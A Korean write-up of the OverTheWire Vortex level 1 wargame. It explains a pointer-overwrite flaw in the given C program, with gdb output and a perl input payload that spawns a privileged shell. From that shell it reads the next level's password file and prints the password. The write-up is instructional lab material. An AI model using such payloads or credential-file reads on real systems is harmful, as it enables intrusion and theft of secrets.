Putty를 이용해 vortex0에서 얻은 계정을 가지고 vortex.labs.overthewire.org에 ssh로 접속한다.
일단 타겟의 위치는 /games/vortex/vortex1이고 해당 소스코드는 홈페이지의 해당 문제 페이지에 있다.
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#define e(); if(((unsigned int)ptr & 0xff000000)==0xca000000) { setresuid(geteuid(), geteuid(), geteuid()); execlp("/bin/sh", "sh", "-i", NULL); }
void print(unsigned char *buf, int len)
{
int i;
printf("[ ");
for(i=0; i < len; i++) printf("%x ", buf[i]);
printf(" ]\n");
}
int main()
{
unsigned char buf[512];
unsigned char *ptr = buf + (sizeof(buf)/2);
unsigned int x;
while((x = getchar()) != EOF) {
switch(x) {
case '\n': print(buf, sizeof(buf)); continue; break;
case '\\': ptr--; break;
default: e(); if(ptr > buf + sizeof(buf)) continue; ptr++[0] = x; break;
}
}
printf("All done\n");
}
일단 가장 눈에띄는 공략법은 #define 구문에 execlp를 실행시키면 쉘이 따와질것이다.
하지만 쉘이 따와질려면 ptr의 상위 2바이트 값이 0xCA가 되어야 한다.
lob를 풀때는 스택의 값이 보통 0xbf로 시작하고 0xc0부터는 커널영역이라서 걱정을 했다. 어차피 ptr이 buf의 문자열 끝의 주소보다 커질수는 없기에 고민하고있엇다.
일단 ptr의 값부터 먼저 확인해 봐야 될꺼 같다.
vortex1@melinda:/games/vortex$ gdb -q vortex1
Reading symbols from /games/vortex/vortex1...(no debugging symbols found)...done.
(gdb) b main
Breakpoint 1 at 0x804857c
(gdb) b main
Note: breakpoint 1 also set at pc 0x804857c.
Breakpoint 2 at 0x804857c
(gdb) r
Starting program: /games/vortex/vortex1
Breakpoint 1, 0x0804857c in main ()
(gdb) info reg
eax 0x1 1
ecx 0xffffd7c4 -10300
edx 0xffffd754 -10412
ebx 0xf7fceff4 -134418444
esp 0xffffd720 0xffffd720
ebp 0xffffd728 0xffffd728
esi 0x0 0
edi 0x0 0
eip 0x804857c 0x804857c <main+5>
eflags 0x246 [ PF ZF IF ]
cs 0x23 35
ss 0x2b 43
ds 0x2b 43
es 0x2b 43
fs 0x0 0
gs 0x63 99
(gdb)
2.ptr이 buf보다 낮은주소에 위치해있으므로, ptr의 값을 직접 바꿔주는 방법.
그럼 이 2가지로 풀이해 보겟다.
1번쨰 방법
0xff를 0xca로 바꿔야 하는데 그럼 '\\'을 몇번 입력해줘야하는지 계산해보자.
대략적으로
0xff000000 - 0xca000000 = 889192448 이라는 엄청나게 큰 숫자이다...
한번 시도 해 보자.
vortex1@melinda:/games/vortex$ (perl -e 'print "\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\"x8891924,"a"';cat)|./vortex1
Out of memory!
시도해보면, 다음과같이 oom에러를 보이는데, 이는 입력값을 전달할 임시버퍼의 부족으로 보인다.
한번 파일로 만들어서 해결해보자.
2번째 방법
2번이 가능한이유는 ptr++는 제한이 있지만(buf의 끝주소까지) ptr--는 제한이 없다.
메인함수의 일부분을 디스어셈해서 보면
0x08048594 <+29>: lea eax,[esp+0x1c]
0x08048598 <+33>: add eax,0x100
0x0804859d <+38>: mov DWORD PTR [esp+0x14],eax
이와같이 buf보다 ptr이 낮은주소에 위치해있기 때문이며, 주소로 계산해 보았을때, ptr의 첫번째 바이트는
(esp + 0x1c) + 0x100 - (esp + 0x14) = 8 + 256 = 264
즉, ptr을 264번 --시키면 ptr이 ptr의 맨처음 바이트를 가르키게 된다. 하지만 리틀인디언을 고려해서, 맨마지막 바이트를 변경해야 함으로, 261번만 -- 시켜서 0xca를 덮어씌어주면 된다. 그리고 한번더 다른문자를 입력해줘야 e()가 실행된다.
여기서 주의사항은 ptr의 값을 1바이트씩 변경하는것이기때문에, 뒤에서부터 다 덮어씌어주려고 시도한다면, ptr이 중간에서 변형되기때문에 원하는 결과를 얻을수 없다는 점이다.
sol)
vortex1@melinda:/games/vortex$ (perl -e 'print "\x5c"x261,"\xca","a"';cat)|./vortex1
id
uid=5002(vortex2) gid=5001(vortex1) groups=5002(vortex2),5001(vortex1)
cat /etc/vortex_pass/vortex2
23anbT\rE